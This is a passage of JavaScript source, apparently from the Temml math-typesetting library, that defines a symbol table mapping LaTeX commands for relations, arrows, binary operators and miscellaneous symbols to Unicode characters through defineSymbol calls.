972// This helps minify the code, and also spotting typos using jshint.
973
974// modes:
975const math = "math";
976const temml_text = "text";
977
978// groups:
979const accent = "accent-token";
980const bin = "bin";
981const temml_close = "close";
982const inner = "inner";
983const mathord = "mathord";
984const op = "op-token";
985const temml_open = "open";
986const punct = "punct";
987const rel = "rel";
988const spacing = "spacing";
989const textord = "textord";
990
991// Now comes the symbol table
992
993// Relation Symbols
994defineSymbol(math, rel, "\u2261", "\\equiv", true);
995defineSymbol(math, rel, "\u227a", "\\prec", true);
996defineSymbol(math, rel, "\u227b", "\\succ", true);
997defineSymbol(math, rel, "\u223c", "\\sim", true);
998defineSymbol(math, rel, "\u27c2", "\\perp", true);
999defineSymbol(math, rel, "\u2aaf", "\\preceq", true);
1000defineSymbol(math, rel, "\u2ab0", "\\succeq", true);
1001defineSymbol(math, rel, "\u2243", "\\simeq", true);
1002defineSymbol(math, rel, "\u224c", "\\backcong", true);
1003defineSymbol(math, rel, "|", "\\mid", true);
1004defineSymbol(math, rel, "\u226a", "\\ll", true);
1005defineSymbol(math, rel, "\u226b", "\\gg", true);
1006defineSymbol(math, rel, "\u224d", "\\asymp", true);
1007defineSymbol(math, rel, "\u2225", "\\parallel");
1008defineSymbol(math, rel, "\u2323", "\\smile", true);
1009defineSymbol(math, rel, "\u2291", "\\sqsubseteq", true);
1010defineSymbol(math, rel, "\u2292", "\\sqsupseteq", true);
1011defineSymbol(math, rel, "\u2250", "\\doteq", true);
1012defineSymbol(math, rel, "\u2322", "\\frown", true);
1013defineSymbol(math, rel, "\u220b", "\\ni", true);
1014defineSymbol(math, rel, "\u220c", "\\notni", true);
1015defineSymbol(math, rel, "\u221d", "\\propto", true);
1016defineSymbol(math, rel, "\u22a2", "\\vdash", true);
1017defineSymbol(math, rel, "\u22a3", "\\dashv", true);
1018defineSymbol(math, rel, "\u220b", "\\owns");
1019defineSymbol(math, rel, "\u2258", "\\arceq", true);
1020defineSymbol(math, rel, "\u2259", "\\wedgeq", true);
1021defineSymbol(math, rel, "\u225a", "\\veeeq", true);
1022defineSymbol(math, rel, "\u225b", "\\stareq", true);
1023defineSymbol(math, rel, "\u225d", "\\eqdef", true);
1024defineSymbol(math, rel, "\u225e", "\\measeq", true);
1025defineSymbol(math, rel, "\u225f", "\\questeq", true);
1026defineSymbol(math, rel, "\u2260", "\\ne", true);
1027defineSymbol(math, rel, "\u2260", "\\neq");
1028// unicodemath
1029defineSymbol(math, rel, "\u2a75", "\\eqeq", true);
1030defineSymbol(math, rel, "\u2a76", "\\eqeqeq", true);
1031// mathtools.sty
1032defineSymbol(math, rel, "\u2237", "\\dblcolon", true);
1033defineSymbol(math, rel, "\u2254", "\\coloneqq", true);
1034defineSymbol(math, rel, "\u2255", "\\eqqcolon", true);
1035defineSymbol(math, rel, "\u2239", "\\eqcolon", true);
1036defineSymbol(math, rel, "\u2A74", "\\Coloneqq", true);
1037
1038// Punctuation
1039defineSymbol(math, punct, "\u002e", "\\ldotp");
1040defineSymbol(math, punct, "\u00b7", "\\cdotp");
1041
1042// Misc Symbols
1043defineSymbol(math, textord, "\u0023", "\\#");
1044defineSymbol(temml_text, textord, "\u0023", "\\#");
1045defineSymbol(math, textord, "\u0026", "\\&");
1046defineSymbol(temml_text, textord, "\u0026", "\\&");
1047defineSymbol(math, textord, "\u2135", "\\aleph", true);
1048defineSymbol(math, textord, "\u2200", "\\forall", true);
1049defineSymbol(math, textord, "\u210f", "\\hbar", true);
1050defineSymbol(math, textord, "\u2203", "\\exists", true);
1051// ∇ is actually a unary operator, not binary. But this works.
1052defineSymbol(math, bin, "\u2207", "\\nabla", true);
1053defineSymbol(math, textord, "\u266d", "\\flat", true);
1054defineSymbol(math, textord, "\u2113", "\\ell", true);
1055defineSymbol(math, textord, "\u266e", "\\natural", true);
1056defineSymbol(math, textord, "Å", "\\Angstrom", true);
1057defineSymbol(temml_text, textord, "Å", "\\Angstrom", true);
1058defineSymbol(math, textord, "\u2663", "\\clubsuit", true);
1059defineSymbol(math, textord, "\u2667", "\\varclubsuit", true);
1060defineSymbol(math, textord, "\u2118", "\\wp", true);
1061defineSymbol(math, textord, "\u266f", "\\sharp", true);
1062defineSymbol(math, textord, "\u2662", "\\diamondsuit", true);
1063defineSymbol(math, textord, "\u2666", "\\vardiamondsuit", true);
1064defineSymbol(math, textord, "\u211c", "\\Re", true);
1065defineSymbol(math, textord, "\u2661", "\\heartsuit", true);
1066defineSymbol(math, textord, "\u2665", "\\varheartsuit", true);
1067defineSymbol(math, textord, "\u2111", "\\Im", true);
1068defineSymbol(math, textord, "\u2660", "\\spadesuit", true);
1069defineSymbol(math, textord, "\u2664", "\\varspadesuit", true);
1070defineSymbol(math, textord, "\u2640", "\\female", true);
1071defineSymbol(math, textord, "\u2642", "\\male", true);
1072defineSymbol(math, textord, "\u00a7", "\\S", true);
1073defineSymbol(temml_text, textord, "\u00a7", "\\S");
1074defineSymbol(math, textord, "\u00b6", "\\P", true);
1075defineSymbol(temml_text, textord, "\u00b6", "\\P");
1076defineSymbol(temml_text, textord, "\u263a", "\\smiley", true);
1077defineSymbol(math, textord, "\u263a", "\\smiley", true);
1078
1079// Math and Text
1080defineSymbol(math, textord, "\u2020", "\\dag");
1081defineSymbol(temml_text, textord, "\u2020", "\\dag");
1082defineSymbol(temml_text, textord, "\u2020", "\\textdagger");
1083defineSymbol(math, textord, "\u2021", "\\ddag");
1084defineSymbol(temml_text, textord, "\u2021", "\\ddag");
1085defineSymbol(temml_text, textord, "\u2021", "\\textdaggerdbl");
1086
1087// Large Delimiters
1088defineSymbol(math, temml_close, "\u23b1", "\\rmoustache", true);
1089defineSymbol(math, temml_open, "\u23b0", "\\lmoustache", true);
1090defineSymbol(math, temml_close, "\u27ef", "\\rgroup", true);
1091defineSymbol(math, temml_open, "\u27ee", "\\lgroup", true);
1092
1093// Binary Operators
1094defineSymbol(math, bin, "\u2213", "\\mp", true);
1095defineSymbol(math, bin, "\u2296", "\\ominus", true);
1096defineSymbol(math, bin, "\u228e", "\\uplus", true);
1097defineSymbol(math, bin, "\u2293", "\\sqcap", true);
1098defineSymbol(math, bin, "\u2217", "\\ast");
1099defineSymbol(math, bin, "\u2294", "\\sqcup", true);
1100defineSymbol(math, bin, "\u25ef", "\\bigcirc", true);
1101defineSymbol(math, bin, "\u2219", "\\bullet", true);
1102defineSymbol(math, bin, "\u2021", "\\ddagger");
1103defineSymbol(math, bin, "\u2240", "\\wr", true);
1104defineSymbol(math, bin, "\u2a3f", "\\amalg");
1105defineSymbol(math, bin, "\u0026", "\\And"); // from amsmath
1106defineSymbol(math, bin, "\u2AFD", "\\sslash", true); // from stmaryrd
1107
1108// Arrow Symbols
1109defineSymbol(math, rel, "\u27f5", "\\longleftarrow", true);
1110defineSymbol(math, rel, "\u21d0", "\\Leftarrow", true);
1111defineSymbol(math, rel, "\u27f8", "\\Longleftarrow", true);
1112defineSymbol(math, rel, "\u27f6", "\\longrightarrow", true);
1113defineSymbol(math, rel, "\u21d2", "\\Rightarrow", true);
1114defineSymbol(math, rel, "\u27f9", "\\Longrightarrow", true);
1115defineSymbol(math, rel, "\u2194", "\\leftrightarrow", true);
1116defineSymbol(math, rel, "\u27f7", "\\longleftrightarrow", true);
1117defineSymbol(math, rel, "\u21d4", "\\Leftrightarrow", true);
1118defineSymbol(math, rel, "\u27fa", "\\Longleftrightarrow", true);
1119defineSymbol(math, rel, "\u21a4", "\\mapsfrom", true);
1120defineSymbol(math, rel, "\u21a6", "\\mapsto", true);
1121defineSymbol(math, rel, "\u27fc", "\\longmapsto", true);
1122defineSymbol(math, rel, "\u2197", "\\nearrow", true);
1123defineSymbol(math, rel, "\u21a9", "\\hookleftarrow", true);
1124defineSymbol(math, rel, "\u21aa", "\\hookrightarrow", true);
1125defineSymbol(math, rel, "\u2198", "\\searrow", true);
1126defineSymbol(math, rel, "\u21bc", "\\leftharpoonup", true);
1127defineSymbol(math, rel, "\u21c0", "\\rightharpoonup", true);
1128defineSymbol(math, rel, "\u2199", "\\swarrow", true);
1129defineSymbol(math, rel, "\u21bd", "\\leftharpoondown", true);
1130defineSymbol(math, rel, "\u21c1", "\\rightharpoondown", true);
1131defineSymbol(math, rel, "\u2196", "\\nwarrow", true);
1132defineSymbol(math, rel, "\u21cc", "\\rightleftharpoons", true);
1133defineSymbol(math, mathord, "\u21af", "\\lightning", true);
1134defineSymbol(math, mathord, "\u220E", "\\QED", true);
1135defineSymbol(math, mathord, "\u2030", "\\permil", true);
1136defineSymbol(temml_text, textord, "\u2030", "\\permil");
1137defineSymbol(math, mathord, "\u2609", "\\astrosun", true);
1138defineSymbol(math, mathord, "\u263c", "\\sun", true);
1139defineSymbol(math, mathord, "\u263e", "\\leftmoon", true);
1140defineSymbol(math, mathord, "\u263d", "\\rightmoon", true);
1141defineSymbol(math, mathord, "\u2295", "\\Earth");
1142
1143// AMS Negated Binary Relations
1144defineSymbol(math, rel, "\u226e", "\\nless", true);
1145// Symbol names preceeded by "@" each have a corresponding macro.
1146defineSymbol(math, rel, "\u2a87", "\\lneq", true);
1147defineSymbol(math, rel, "\u2268", "\\lneqq", true);
1148defineSymbol(math, rel, "\u2268\ufe00", "\\lvertneqq");
1149defineSymbol(math, rel, "\u22e6", "\\lnsim", true);
1150defineSymbol(math, rel, "\u2a89", "\\lnapprox", true);
1151defineSymbol(math, rel, "\u2280", "\\nprec", true);
1152// unicode-math maps \u22e0 to \npreccurlyeq. We'll use the AMS synonym.
1153defineSymbol(math, rel, "\u22e0", "\\npreceq", true);
1154defineSymbol(math, rel, "\u22e8", "\\precnsim", true);
1155defineSymbol(math, rel, "\u2ab9", "\\precnapprox", true);
1156defineSymbol(math, rel, "\u2241", "\\nsim", true);
1157defineSymbol(math, rel, "\u2224", "\\nmid", true);
1158defineSymbol(math, rel, "\u2224", "\\nshortmid");
1159defineSymbol(math, rel, "\u22ac", "\\nvdash", true);
1160defineSymbol(math, rel, "\u22ad", "\\nvDash", true);
1161defineSymbol(math, rel, "\u22ea", "\\ntriangleleft");
1162defineSymbol(math, rel, "\u22ec", "\\ntrianglelefteq", true);
1163defineSymbol(math, rel, "\u2284", "\\nsubset", true);
1164defineSymbol(math, rel, "\u2285", "\\nsupset", true);
1165defineSymbol(math, rel, "\u228a", "\\subsetneq", true);
1166defineSymbol(math, rel, "\u228a\ufe00", "\\varsubsetneq");
1167defineSymbol(math, rel, "\u2acb", "\\subsetneqq", true);
1168defineSymbol(math, rel, "\u2acb\ufe00", "\\varsubsetneqq");
1169defineSymbol(math, rel, "\u226f", "\\ngtr", true);
1170defineSymbol(math, rel, "\u2a88", "\\gneq", true);
1171defineSymbol(math, rel, "\u2269", "\\gneqq", true);
1172defineSymbol(math, rel, "\u2269\ufe00", "\\gvertneqq");
1173defineSymbol(math, rel, "\u22e7", "\\gnsim", true);
1174defineSymbol(math, rel, "\u2a8a", "\\gnapprox", true);
1175defineSymbol(math, rel, "\u2281", "\\nsucc", true);
1176// unicode-math maps \u22e1 to \nsucccurlyeq. We'll use the AMS synonym.
1177defineSymbol(math, rel, "\u22e1", "\\nsucceq", true);
1178defineSymbol(math, rel, "\u22e9", "\\succnsim", true);
1179defineSymbol(math, rel, "\u2aba", "\\succnapprox", true);
1180// unicode-math maps \u2246 to \simneqq. We'll use the AMS synonym.
1181defineSymbol(math, rel, "\u2246", "\\ncong", true);
1182defineSymbol(math, rel, "\u2226", "\\nparallel", true);
1183defineSymbol(math, rel, "\u2226", "\\nshortparallel");
1184defineSymbol(math, rel, "\u22af", "\\nVDash", true);
1185defineSymbol(math, rel, "\u22eb", "\\ntriangleright");
1186defineSymbol(math, rel, "\u22ed", "\\ntrianglerighteq", true);
1187defineSymbol(math, rel, "\u228b", "\\supsetneq", true);
1188defineSymbol(math, rel, "\u228b", "\\varsupsetneq");
1189defineSymbol(math, rel, "\u2acc", "\\supsetneqq", true);
1190defineSymbol(math, rel, "\u2acc\ufe00", "\\varsupsetneqq");
1191defineSymbol(math, rel, "\u22ae", "\\nVdash", true);
1192defineSymbol(math, rel, "\u2ab5", "\\precneqq", true);
1193defineSymbol(math, rel, "\u2ab6", "\\succneqq", true);
1194defineSymbol(math, bin, "\u22b4", "\\unlhd");
1195defineSymbol(math, bin, "\u22b5", "\\unrhd");
1196
1197// AMS Negated Arrows
1198defineSymbol(math, rel, "\u219a", "\\nleftarrow", true);
1199defineSymbol(math, rel, "\u219b", "\\nrightarrow", true);
1200defineSymbol(math, rel, "\u21cd", "\\nLeftarrow", true);
1201defineSymbol(math, rel, "\u21cf", "\\nRightarrow", true);
1202defineSymbol(math, rel, "\u21ae", "\\nleftrightarrow", true);
1203defineSymbol(math, rel, "\u21ce", "\\nLeftrightarrow", true);
1204
1205// AMS Misc
1206defineSymbol(math, rel, "\u25b3", "\\vartriangle");
1207defineSymbol(math, textord, "\u210f", "\\hslash");
1208defineSymbol(math, textord, "\u25bd", "\\triangledown");
1209defineSymbol(math, textord, "\u25ca", "\\lozenge");
1210defineSymbol(math, textord, "\u24c8", "\\circledS");
1211defineSymbol(math, textord, "\u00ae", "\\circledR", true);
1212defineSymbol(temml_text, textord, "\u00ae", "\\circledR");
1213defineSymbol(temml_text, textord, "\u00ae", "\\textregistered");
1214defineSymbol(math, textord, "\u2221", "\\measuredangle", true);
1215defineSymbol(math, textord, "\u2204", "\\nexists");
1216defineSymbol(math, textord, "\u2127", "\\mho");
1217defineSymbol(math, textord, "\u2132", "\\Finv", true);
1218defineSymbol(math, textord, "\u2141", "\\Game", true);
1219defineSymbol(math, textord, "\u2035", "\\backprime");
1220defineSymbol(math, textord, "\u2036", "\\backdprime");
1221defineSymbol(math, textord, "\u2037", "\\backtrprime");
1222defineSymbol(math, textord, "\u25b2", "\\blacktriangle");
1223defineSymbol(math, textord, "\u25bc", "\\blacktriangledown");
1224defineSymbol(math, textord, "\u25a0", "\\blacksquare");
1225defineSymbol(math, textord, "\u29eb", "\\blacklozenge");
1226defineSymbol(math, textord, "\u2605", "\\bigstar");
1227defineSymbol(math, textord, "\u2222", "\\sphericalangle", true);
1228defineSymbol(math, textord, "\u2201", "\\complement", true);
1229// unicode-math maps U+F0 to \matheth. We map to AMS function \eth
1230defineSymbol(math, textord, "\u00f0", "\\eth", true);
1231defineSymbol(temml_text, textord, "\u00f0", "\u00f0");
1232defineSymbol(math, textord, "\u2571", "\\diagup");
1233defineSymbol(math, textord, "\u2572", "\\diagdown");
1234defineSymbol(math, textord, "\u25a1", "\\square");
1235defineSymbol(math, textord, "\u25a1", "\\Box");
1236defineSymbol(math, textord, "\u25ca", "\\Diamond");
1237// unicode-math maps U+A5 to \mathyen. We map to AMS function \yen
1238defineSymbol(math, textord, "\u00a5", "\\yen", true);
1239defineSymbol(temml_text, textord, "\u00a5", "\\yen", true);
1240defineSymbol(math, textord, "\u2713", "\\checkmark", true);
1241defineSymbol(temml_text, textord, "\u2713", "\\checkmark");
1242defineSymbol(math, textord, "\u2717", "\\ballotx", true);
1243defineSymbol(temml_text, textord, "\u2717", "\\ballotx");
1244defineSymbol(temml_text, textord, "\u2022", "\\textbullet");
1245
1246// AMS Hebrew
1247defineSymbol(math, textord, "\u2136", "\\beth", true);
1248defineSymbol(math, textord, "\u2138", "\\daleth", true);
1249defineSymbol(math, textord, "\u2137", "\\gimel", true);
1250
1251// AMS Greek
1252defineSymbol(math, textord, "\u03dd", "\\digamma", true);
1253defineSymbol(math, textord, "\u03f0", "\\varkappa");
1254
1255// AMS Delimiters
1256defineSymbol(math, temml_open, "\u231C", "\\ulcorner", true);
1257defineSymbol(math, temml_close, "\u231D", "\\urcorner", true);
1258defineSymbol(math, temml_open, "\u231E", "\\llcorner", true);
1259defineSymbol(math, temml_close, "\u231F", "\\lrcorner", true);
1260
1261// AMS Binary Relations
1262defineSymbol(math, rel, "\u2266", "\\leqq", true);
1263defineSymbol(math, rel, "\u2a7d", "\\leqslant", true);
1264defineSymbol(math, rel, "\u2a95", "\\eqslantless", true);
1265defineSymbol(math, rel, "\u2272", "\\lesssim", true);
1266defineSymbol(math, rel, "\u2a85", "\\lessapprox", true);
1267defineSymbol(math, rel, "\u224a", "\\approxeq", true);
1268defineSymbol(math, bin, "\u22d6", "\\lessdot");
1269defineSymbol(math, rel, "\u22d8", "\\lll", true);
1270defineSymbol(math, rel, "\u2276", "\\lessgtr", true);
1271defineSymbol(math, rel, "\u22da", "\\lesseqgtr", true);
1272defineSymbol(math, rel, "\u2a8b", "\\lesseqqgtr", true);
1273defineSymbol(math, rel, "\u2251", "\\doteqdot");
1274defineSymbol(math, rel, "\u2253", "\\risingdotseq", true);
1275defineSymbol(math, rel, "\u2252", "\\fallingdotseq", true);
1276defineSymbol(math, rel, "\u223d", "\\backsim", true);
1277defineSymbol(math, rel, "\u22cd", "\\backsimeq", true);
1278defineSymbol(math, rel, "\u2ac5", "\\subseteqq", true);
1279defineSymbol(math, rel, "\u22d0", "\\Subset", true);
1280defineSymbol(math, rel, "\u228f", "\\sqsubset", true);
1281defineSymbol(math, rel, "\u227c", "\\preccurlyeq", true);
1282defineSymbol(math, rel, "\u22de", "\\curlyeqprec", true);
1283defineSymbol(math, rel, "\u227e", "\\precsim", true);
1284defineSymbol(math, rel, "\u2ab7", "\\precapprox", true);
1285defineSymbol(math, rel, "\u22b2", "\\vartriangleleft");
1286defineSymbol(math, rel, "\u22b4", "\\trianglelefteq");
1287defineSymbol(math, rel, "\u22a8", "\\vDash", true);
1288defineSymbol(math, rel, "\u22ab", "\\VDash", true);
1289defineSymbol(math, rel, "\u22aa", "\\Vvdash", true);
1290defineSymbol(math, rel, "\u2323", "\\smallsmile");
1291defineSymbol(math, rel, "\u2322", "\\smallfrown");
1292defineSymbol(math, rel, "\u224f", "\\bumpeq", true);
1293defineSymbol(math, rel, "\u224e", "\\Bumpeq", true);
1294defineSymbol(math, rel, "\u2267", "\\geqq", true);
1295defineSymbol(math, rel, "\u2a7e", "\\geqslant", true);
1296defineSymbol(math, rel, "\u2a96", "\\eqslantgtr", true);
1297defineSymbol(math, rel, "\u2273", "\\gtrsim", true);
1298defineSymbol(math, rel, "\u2a86", "\\gtrapprox", true);
1299defineSymbol(math, bin, "\u22d7", "\\gtrdot");
1300defineSymbol(math, rel, "\u22d9", "\\ggg", true);
1301defineSymbol(math, rel, "\u2277", "\\gtrless", true);
1302defineSymbol(math, rel, "\u22db", "\\gtreqless", true);
1303defineSymbol(math, rel, "\u2a8c", "\\gtreqqless", true);
1304defineSymbol(math, rel, "\u2256", "\\eqcirc", true);
1305defineSymbol(math, rel, "\u2257", "\\circeq", true);
1306defineSymbol(math, rel, "\u225c", "\\triangleq", true);
1307defineSymbol(math, rel, "\u223c", "\\thicksim");
1308defineSymbol(math, rel, "\u2248", "\\thickapprox");
1309defineSymbol(math, rel, "\u2ac6", "\\supseteqq", true);
1310defineSymbol(math, rel, "\u22d1", "\\Supset", true);
1311defineSymbol(math, rel, "\u2290", "\\sqsupset", true);
1312defineSymbol(math, rel, "\u227d", "\\succcurlyeq", true);
1313defineSymbol(math, rel, "\u22df", "\\curlyeqsucc", true);
1314defineSymbol(math, rel, "\u227f", "\\succsim", true);
1315defineSymbol(math, rel, "\u2ab8", "\\succapprox", true);
1316defineSymbol(math, rel, "\u22b3", "\\vartriangleright");
1317defineSymbol(math, rel, "\u22b5", "\\trianglerighteq");
1318defineSymbol(math, rel, "\u22a9", "\\Vdash", true);
1319defineSymbol(math, rel, "\u2223", "\\shortmid");
1320defineSymbol(math, rel, "\u2225", "\\shortparallel");
1321defineSymbol(math, rel, "\u226c", "\\between", true);
1322defineSymbol(math, rel, "\u22d4", "\\pitchfork", true);
1323defineSymbol(math, rel, "\u221d", "\\varpropto");
1324defineSymbol(math, rel, "\u25c0", "\\blacktriangleleft");
1325// unicode-math says that \therefore is a mathord atom.
1326// We kept the amssymb atom type, which is rel.
1327defineSymbol(math, rel, "\u2234", "\\therefore", true);
1328defineSymbol(math, rel, "\u220d", "\\backepsilon");
1329defineSymbol(math, rel, "\u25b6", "\\blacktriangleright");
1330// unicode-math says that \because is a mathord atom.
1331// We kept the amssymb atom type, which is rel.
1332defineSymbol(math, rel, "\u2235", "\\because", true);
1333defineSymbol(math, rel, "\u22d8", "\\llless");
1334defineSymbol(math, rel, "\u22d9", "\\gggtr");
1335defineSymbol(math, bin, "\u22b2", "\\lhd");
1336defineSymbol(math, bin, "\u22b3", "\\rhd");
1337defineSymbol(math, rel, "\u2242", "\\eqsim", true);
1338defineSymbol(math, rel, "\u2251", "\\Doteq", true);
1339defineSymbol(math, rel, "\u297d", "\\strictif", true);
1340defineSymbol(math, rel, "\u297c", "\\strictfi", true);
1341
1342// AMS Binary Operators
1343defineSymbol(math, bin, "\u2214", "\\dotplus", true);
1344defineSymbol(math, bin, "\u2216", "\\smallsetminus");
1345defineSymbol(math, bin, "\u22d2", "\\Cap", true);
1346defineSymbol(math, bin, "\u22d3", "\\Cup", true);
1347defineSymbol(math, bin, "\u2a5e", "\\doublebarwedge", true);
1348defineSymbol(math, bin, "\u229f", "\\boxminus", true);
1349defineSymbol(math, bin, "\u229e", "\\boxplus", true);
1350defineSymbol(math, bin, "\u29C4", "\\boxslash", true);
1351defineSymbol(math, bin, "\u22c7", "\\divideontimes", true);
1352defineSymbol(math, bin, "\u22c9", "\\ltimes", true);
1353defineSymbol(math, bin, "\u22ca", "\\rtimes", true);
1354defineSymbol(math, bin, "\u22cb", "\\leftthreetimes", true);
1355defineSymbol(math, bin, "\u22cc", "\\rightthreetimes", true);
1356defineSymbol(math, bin, "\u22cf", "\\curlywedge", true);
1357defineSymbol(math, bin, "\u22ce", "\\curlyvee", true);
1358defineSymbol(math, bin, "\u229d", "\\circleddash", true);
1359defineSymbol(math, bin, "\u229b", "\\circledast", true);
1360defineSymbol(math, bin, "\u22ba", "\\intercal", true);
1361defineSymbol(math, bin, "\u22d2", "\\doublecap");
1362defineSymbol(math, bin, "\u22d3", "\\doublecup");
1363defineSymbol(math, bin, "\u22a0", "\\boxtimes", true);
1364defineSymbol(math, bin, "\u22c8", "\\bowtie", true);
1365defineSymbol(math, bin, "\u22c8", "\\Join");
1366defineSymbol(math, bin, "\u27d5", "\\leftouterjoin", true);
1367defineSymbol(math, bin, "\u27d6", "\\rightouterjoin", true);
1368defineSymbol(math, bin, "\u27d7", "\\fullouterjoin", true);
1369
1370// stix Binary Operators
1371defineSymbol(math, bin, "\u2238", "\\dotminus", true);
1372defineSymbol(math, bin, "\u27D1", "\\wedgedot", true);
1373defineSymbol(math, bin, "\u27C7", "\\veedot", true);
1374defineSymbol(math, bin, "\u2A62", "\\doublebarvee", true);
1375defineSymbol(math, bin, "\u2A63", "\\veedoublebar", true);
1376defineSymbol(math, bin, "\u2A5F", "\\wedgebar", true);
1377defineSymbol(math, bin, "\u2A60", "\\wedgedoublebar", true);
1378defineSymbol(math, bin, "\u2A54", "\\Vee", true);
1379defineSymbol(math, bin, "\u2A53", "\\Wedge", true);
1380defineSymbol(math, bin, "\u2A43", "\\barcap", true);
1381defineSymbol(math, bin, "\u2A42", "\\barcup", true);
1382defineSymbol(math, bin, "\u2A48", "\\capbarcup", true);
1383defineSymbol(math, bin, "\u2A40", "\\capdot", true);
1384defineSymbol(math, bin, "\u2A47", "\\capovercup", true);
1385defineSymbol(math, bin, "\u2A46", "\\cupovercap", true);
1386defineSymbol(math, bin, "\u2A4D", "\\closedvarcap", true);
1387defineSymbol(math, bin, "\u2A4C", "\\closedvarcup", true);
1388defineSymbol(math, bin, "\u2A2A", "\\minusdot", true);
1389defineSymbol(math, bin, "\u2A2B", "\\minusfdots", true);
1390defineSymbol(math, bin, "\u2A2C", "\\minusrdots", true);
1391defineSymbol(math, bin, "\u22BB", "\\Xor", true);
1392defineSymbol(math, bin, "\u22BC", "\\Nand", true);
1393defineSymbol(math, bin, "\u22BD", "\\Nor", true);
1394defineSymbol(math, bin, "\u22BD", "\\barvee");
1395defineSymbol(math, bin, "\u2AF4", "\\interleave", true);
1396defineSymbol(math, bin, "\u29E2", "\\shuffle", true);
1397defineSymbol(math, bin, "\u2AF6", "\\threedotcolon", true);
1398defineSymbol(math, bin, "\u2982", "\\typecolon", true);
1399defineSymbol(math, bin, "\u223E", "\\invlazys", true);
1400defineSymbol(math, bin, "\u2A4B", "\\twocaps", true);
1401defineSymbol(math, bin, "\u2A4A", "\\twocups", true);
1402defineSymbol(math, bin, "\u2A4E", "\\Sqcap", true);
1403defineSymbol(math, bin, "\u2A4F", "\\Sqcup", true);
1404defineSymbol(math, bin, "\u2A56", "\\veeonvee", true);
1405defineSymbol(math, bin, "\u2A55", "\\wedgeonwedge", true);
1406defineSymbol(math, bin, "\u29D7", "\\blackhourglass", true);
1407defineSymbol(math, bin, "\u29C6", "\\boxast", true);
1408defineSymbol(math, bin, "\u29C8", "\\boxbox", true);
1409defineSymbol(math, bin, "\u29C7", "\\boxcircle", true);
1410defineSymbol(math, bin, "\u229C", "\\circledequal", true);
1411defineSymbol(math, bin, "\u29B7", "\\circledparallel", true);
1412defineSymbol(math, bin, "\u29B6", "\\circledvert", true);
1413defineSymbol(math, bin, "\u29B5", "\\circlehbar", true);
1414defineSymbol(math, bin, "\u27E1", "\\concavediamond", true);
1415defineSymbol(math, bin, "\u27E2", "\\concavediamondtickleft", true);
1416defineSymbol(math, bin, "\u27E3", "\\concavediamondtickright", true);
1417defineSymbol(math, bin, "\u22C4", "\\diamond", true);
1418defineSymbol(math, bin, "\u29D6", "\\hourglass", true);
1419defineSymbol(math, bin, "\u27E0", "\\lozengeminus", true);
1420defineSymbol(math, bin, "\u233D", "\\obar", true);
1421defineSymbol(math, bin, "\u29B8", "\\obslash", true);
1422defineSymbol(math, bin, "\u2A38", "\\odiv", true);
1423defineSymbol(math, bin, "\u29C1", "\\ogreaterthan", true);
1424defineSymbol(math, bin, "\u29C0", "\\olessthan", true);
1425defineSymbol(math, bin, "\u29B9", "\\operp", true);
1426defineSymbol(math, bin, "\u2A37", "\\Otimes", true);
1427defineSymbol(math, bin, "\u2A36", "\\otimeshat", true);
1428defineSymbol(math, bin, "\u22C6", "\\star", true);
1429defineSymbol(math, bin, "\u25B3", "\\triangle", true);
1430defineSymbol(math, bin, "\u2A3A", "\\triangleminus", true);
1431defineSymbol(math, bin, "\u2A39", "\\triangleplus", true);
1432defineSymbol(math, bin, "\u2A3B", "\\triangletimes", true);
1433defineSymbol(math, bin, "\u27E4", "\\whitesquaretickleft", true);
1434defineSymbol(math, bin, "\u27E5", "\\whitesquaretickright", true);
1435defineSymbol(math, bin, "\u2A33", "\\smashtimes", true);
1436
1437// AMS Arrows
1438// Note: unicode-math maps \u21e2 to their own function \rightdasharrow.
1439// We'll map it to AMS function \dashrightarrow. It produces the same atom.
1440defineSymbol(math, rel, "\u21e2", "\\dashrightarrow", true);
1441// unicode-math maps \u21e0 to \leftdasharrow. We'll use the AMS synonym.
1442defineSymbol(math, rel, "\u21e0", "\\dashleftarrow", true);
1443defineSymbol(math, rel, "\u21c7", "\\leftleftarrows", true);
1444defineSymbol(math, rel, "\u21c6", "\\leftrightarrows", true);
1445defineSymbol(math, rel, "\u21da", "\\Lleftarrow", true);
1446defineSymbol(math, rel, "\u219e", "\\twoheadleftarrow", true);
1447defineSymbol(math, rel, "\u21a2", "\\leftarrowtail", true);
1448defineSymbol(math, rel, "\u21ab", "\\looparrowleft", true);
1449defineSymbol(math, rel, "\u21cb", "\\leftrightharpoons", true);
1450defineSymbol(math, rel, "\u21b6", "\\curvearrowleft", true);
1451// unicode-math maps \u21ba to \acwopencirclearrow. We'll use the AMS synonym.
1452defineSymbol(math, rel, "\u21ba", "\\circlearrowleft", true);
1453defineSymbol(math, rel, "\u21b0", "\\Lsh", true);
1454defineSymbol(math, rel, "\u21c8", "\\upuparrows", true);
1455defineSymbol(math, rel, "\u21bf", "\\upharpoonleft", true);
1456defineSymbol(math, rel, "\u21c3", "\\downharpoonleft", true);
1457defineSymbol(math, rel, "\u22b6", "\\origof", true);
1458defineSymbol(math, rel, "\u22b7", "\\imageof", true);
1459defineSymbol(math, rel, "\u22b8", "\\multimap", true);
1460defineSymbol(math, rel, "\u21ad", "\\leftrightsquigarrow", true);
1461defineSymbol(math, rel, "\u21c9", "\\rightrightarrows", true);
1462defineSymbol(math, rel, "\u21c4", "\\rightleftarrows", true);
1463defineSymbol(math, rel, "\u21a0", "\\twoheadrightarrow", true);
1464defineSymbol(math, rel, "\u21a3", "\\rightarrowtail", true);
1465defineSymbol(math, rel, "\u21ac", "\\looparrowright", true);
1466defineSymbol(math, rel, "\u21b7", "\\curvearrowright", true);
1467// unicode-math maps \u21bb to \cwopencirclearrow. We'll use the AMS synonym.
1468defineSymbol(math, rel, "\u21bb", "\\circlearrowright", true);
1469defineSymbol(math, rel, "\u21b1", "\\Rsh", true);
1470defineSymbol(math, rel, "\u21ca", "\\downdownarrows", true);
1471defineSymbol(math, rel, "\u21be", "\\upharpoonright", true);
1472defineSymbol(math, rel, "\u21c2", "\\downharpoonright", true);
1473defineSymbol(math, rel, "\u21dd", "\\rightsquigarrow", true);
1474defineSymbol(math, rel, "\u21dd", "\\leadsto");
1475defineSymbol(math, rel, "\u21db", "\\Rrightarrow", true);
1476defineSymbol(math, rel, "\u21be", "\\restriction");
1477
1478defineSymbol(math, textord, "\u2018", "`");
1479defineSymbol(math, textord, "$", "\\$");
1480defineSymbol(temml_text, textord, "$", "\\$");
1481defineSymbol(temml_text, textord, "$", "\\textdollar");
1482defineSymbol(math, textord, "¢", "\\cent");
1483defineSymbol(temml_text, textord, "¢", "\\cent");
1484defineSymbol(math, textord, "%", "\\%");
1485defineSymbol(temml_text, textord, "%", "\\%");
1486defineSymbol(math, textord, "_", "\\_");
